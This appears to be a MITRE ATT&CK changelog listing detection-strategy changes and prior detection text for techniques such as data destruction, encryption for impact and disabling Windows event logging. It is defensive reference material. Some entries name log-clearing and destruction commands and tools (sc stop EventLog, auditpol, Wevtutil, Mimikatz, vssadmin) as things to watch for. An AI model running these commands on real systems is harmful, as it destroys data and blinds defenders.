DET0468: Detect DHCP Spoofing Across Linux, Windows, and macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:13:20.292000+00:00	2025-10-24 17:48:49.941000+00:00
x_mitre_detection	Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)

[T1590.002] Gather Victim Network Information: DNS

Current version: 1.2

New Detections (Detection Strategies -> Technique):

DET0843: Detection of DNS

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:13:37.080000+00:00	2025-10-24 17:48:24.404000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1568.003] Dynamic Resolution: DNS Calculation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0262: Detection Strategy for Dynamic Resolution through DNS Calculation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:18.343000+00:00	2025-10-24 17:49:03.093000+00:00
x_mitre_detection	Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.

[T1583.002] Acquire Infrastructure: DNS Server

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0862: Detection of DNS Server

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:14:14.654000+00:00	2025-10-24 17:48:27.611000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1596.001] Search Open Technical Databases: DNS/Passive DNS

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0877: Detection of DNS/Passive DNS

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:14:34.882000+00:00	2025-10-24 17:48:27.172000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1485] Data Destruction

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Deletion)
DS0009: Process (Process Creation)
DS0010: Cloud Storage (Cloud Storage Deletion)
DS0010: Cloud Storage (Cloud Storage Modification)
DS0017: Command (Command Execution)
DS0020: Snapshot (Snapshot Deletion)
DS0022: File (File Deletion)
DS0022: File (File Modification)
DS0030: Instance (Instance Deletion)
DS0034: Volume (Volume Deletion)

New Detections (Detection Strategies -> Technique):

DET0146: Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'File: File Modification', 'Volume: Volume Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:11.731000+00:00	2025-10-24 17:49:27.149000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under `C:\Windows\System32\`. In cloud environments, the occurrence of anomalous high-volume deletion events, such as the `DeleteDBCluster` and `DeleteGlobalCluster` events in AWS, or a high quantity of data deletion events, such as `DeleteBucket`, within a short period of time may indicate suspicious activity.

[T1132] Data Encoding

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0108: Detection Strategy for Data Encoding in C2 Channels

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:21.024000+00:00	2025-10-24 17:49:23.915000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1486] Data Encrypted for Impact

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0010: Cloud Storage (Cloud Storage Modification)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0033: Network Share (Network Share Access)

New Detections (Detection Strategies -> Technique):

DET0215: Detection of Multi-Platform File Encryption for Impact

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Cloud Storage: Cloud Storage Modification', 'Network Share: Network Share Access', 'File: File Creation', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:00.731000+00:00	2025-10-24 17:49:16.589000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.

[T1565] Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0022: File (File Creation)
DS0022: File (File Deletion)
DS0022: File (File Metadata)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0059: Detection Strategy for Data Manipulation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Network Traffic: Network Traffic Flow', 'File: File Deletion', 'File: File Modification', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:14:59.144000+00:00	2025-10-24 17:49:13.111000+00:00
x_mitre_detection	Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.

[T1001] Data Obfuscation

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0053: Detect Obfuscated C2 via Network Traffic Analysis

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:57.412000+00:00	2025-10-24 17:49:13.380000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1074] Data Staged

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0014: Detection of Data Staging Prior to Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:45.225000+00:00	2025-10-24 17:49:01.010000+00:00
x_mitre_detection	Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.

[T1030] Data Transfer Size Limits

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0213: Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:05.559000+00:00	2025-10-24 17:49:20.770000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1530] Data from Cloud Storage

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0010: Cloud Storage (Cloud Storage Access)
DS0025: Cloud Service (Cloud Service Metadata)

New Detections (Detection Strategies -> Technique):

DET0484: Multi-Platform Cloud Storage Exfiltration Behavior Chain

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Service: Cloud Service Metadata', 'Cloud Storage: Cloud Storage Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:15:26.889000+00:00	2025-10-24 17:48:37.187000+00:00
x_mitre_detection	Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.

[T1602] Data from Configuration Repository

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0592: Detection Strategy for Data from Configuration Repository on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:15.147000+00:00	2025-10-24 17:48:22.396000+00:00
x_mitre_detection	Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)

[T1213] Data from Information Repositories

Current version: 3.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0413: Abuse of Information Repositories for Data Collection

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:15:46.213000+00:00	2025-10-24 17:49:26.262000+00:00
x_mitre_detection	As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.

[T1039] Data from Network Shared Drive

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)
DS0033: Network Share (Network Share Access)

New Detections (Detection Strategies -> Technique):

DET0410: Detection Strategy for Data from Network Shared Drive

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Share: Network Share Access', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:18.881000+00:00	2025-10-24 17:49:13.555000+00:00
x_mitre_detection	Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1025] Data from Removable Media

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0511: Detection of Data Access and Collection from Removable Media

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:10.837000+00:00	2025-10-24 17:48:28.431000+00:00
x_mitre_detection	Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1102.001] Web Service: Dead Drop Resolver

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0058: Detection Strategy for Web Service: Dead Drop Resolver

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:36.031000+00:00	2025-10-24 17:49:37.828000+00:00
x_mitre_detection	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1622] Debugger Evasion

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0371: Detection Strategy for Debugger Evasion (T1622)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: OS API Execution', 'Application Log: Application Log Content', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:16.468000+00:00	2025-10-24 17:49:32.196000+00:00
x_mitre_detection	Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. Monitor debugger logs for signs of abnormal and potentially malicious activity.

[T1491] Defacement

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0238: Defacement via File and Web Content Modification Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'File: File Creation', 'Application Log: Application Log Content', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:35.374000+00:00	2025-10-24 17:48:49.761000+00:00
x_mitre_detection	Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.

[T1078.001] Valid Accounts: Default Accounts

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0465: Detection of Default Account Abuse Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:35.610000+00:00	2025-10-24 17:48:51.181000+00:00
x_mitre_detection	Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.

[T1578.003] Modify Cloud Compute Infrastructure: Delete Cloud Instance

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0030: Instance (Instance Deletion)
DS0030: Instance (Instance Metadata)

New Detections (Detection Strategies -> Technique):

DET0084: Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Metadata', 'Instance: Instance Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:16:21.146000+00:00	2025-10-24 17:48:56.705000+00:00
x_mitre_detection	The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity. In AWS, CloudTrail logs capture the deletion of an instance in the `TerminateInstances` event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of `gcloud compute instances delete` to delete a VM.(Citation: Cloud Audit Logs)

[T1140] Deobfuscate/Decode Files or Information

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0275: Detect Adversary Deobfuscation or Decoding of Files and Payloads

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Script: Script Execution', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:24.400000+00:00	2025-10-24 17:48:40.925000+00:00
x_mitre_detection	Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.

[T1610] Deploy Container

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0014: Pod (Pod Creation)
DS0014: Pod (Pod Modification)
DS0015: Application Log (Application Log Content)
DS0032: Container (Container Creation)
DS0032: Container (Container Start)

New Detections (Detection Strategies -> Technique):

DET0249: Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Container: Container Start', 'Application Log: Application Log Content', 'Pod: Pod Creation', 'Container: Container Creation', 'Pod: Pod Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:33.230000+00:00	2025-10-24 17:48:49.017000+00:00
x_mitre_detection	Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.

[T1591.001] Gather Victim Org Information: Determine Physical Locations

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0806: Detection of Determine Physical Locations

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:16:44.365000+00:00	2025-10-24 17:49:34.503000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1587] Develop Capabilities

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Content)
DS0004: Malware Repository (Malware Metadata)
DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0853: Detection of Develop Capabilities

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata', 'Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:17:05.876000+00:00	2025-10-24 17:49:34.675000+00:00
x_mitre_detection	Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.

[T1587.003] Develop Capabilities: Digital Certificates

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0844: Detection of Digital Certificates

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:18:36.653000+00:00	2025-10-24 17:48:29.137000+00:00
x_mitre_detection	Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1588.004] Obtain Capabilities: Digital Certificates

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0037: Certificate (Certificate Registration)

New Detections (Detection Strategies -> Technique):

DET0848: Detection of Digital Certificates

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Certificate: Certificate Registration', 'Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:18:17.702000+00:00	2025-10-24 17:48:27.525000+00:00
x_mitre_detection	Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1596.003] Search Open Technical Databases: Digital Certificates

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0831: Detection of Digital Certificates

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:18:01.430000+00:00	2025-10-24 17:48:21.668000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1498.001] Network Denial of Service: Direct Network Flood

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0343: Direct Network Flood Detection across IaaS, Linux, Windows, and macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:19:07.343000+00:00	2025-10-24 17:48:22.567000+00:00
x_mitre_detection	Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

[T1006] Direct Volume Access

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0016: Drive (Drive Access)
DS0017: Command (Command Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0426: Detection of Direct Volume Access for File System Evasion

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Drive: Drive Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:05.272000+00:00	2025-10-24 17:48:23.015000+00:00
x_mitre_detection	Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.

[T1600.002] Weaken Encryption: Disable Crypto Hardware

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0494: Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:14.891000+00:00	2025-10-24 17:49:01.374000+00:00
x_mitre_detection	There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.

[T1562.002] Impair Defenses: Disable Windows Event Logging

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0013: Sensor Health (Host Status)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0187: Detect disabled Windows event logging

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Sensor Health: Host Status', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:17.061000+00:00	2025-10-24 17:48:45.425000+00:00
x_mitre_detection	Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)

[T1562.007] Impair Defenses: Disable or Modify Cloud Firewall

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0018: Firewall (Firewall Disable)
DS0018: Firewall (Firewall Rule Modification)

New Detections (Detection Strategies -> Technique):

DET0424: Detection Strategy for Disable or Modify Cloud Firewall

Details

dictionary_item_removed
